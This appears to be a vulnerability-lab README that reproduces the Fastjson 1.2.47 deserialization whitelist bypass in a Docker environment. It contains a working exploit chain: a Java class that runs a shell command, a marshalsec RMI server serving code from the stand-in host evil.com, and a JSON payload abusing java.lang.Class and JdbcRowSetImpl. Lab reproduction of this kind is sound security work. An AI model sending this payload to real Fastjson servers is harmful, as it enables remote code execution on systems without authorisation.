Fastjson 1.2.47 Deserialization Remote Command Execution

中文版本(Chinese version)

Fastjson is a JSON parser developed by Alibaba, known for its superior performance and widely used in Java projects across various companies. After version 1.2.24, Fastjson added a deserialization whitelist. However, in versions prior to 1.2.48, attackers could bypass the whitelist check using specially crafted JSON strings and successfully execute arbitrary commands.

Environment Setup

Execute the following command to start a Spring web project that uses Fastjson 1.2.45 as its default JSON parser:

docker compose up -d

After the server starts, visit http://your-ip:8090 to see a JSON object returned. You can POST new JSON objects by changing the content-type to application/json, and the backend will use Fastjson to parse them.

Vulnerability Reproduction

The target environment is openjdk:8u102, which doesn't have the com.sun.jndi.rmi.object.trustURLCodebase restriction. We can easily execute commands using RMI.

First, compile and upload the command execution code, such as http://evil.com/TouchFile.class:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Then, using the marshalsec project, start an RMI server listening on port 9999 and specify loading the remote class TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

Send the payload to the target server:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

As shown below, the command touch /tmp/success has been successfully executed:
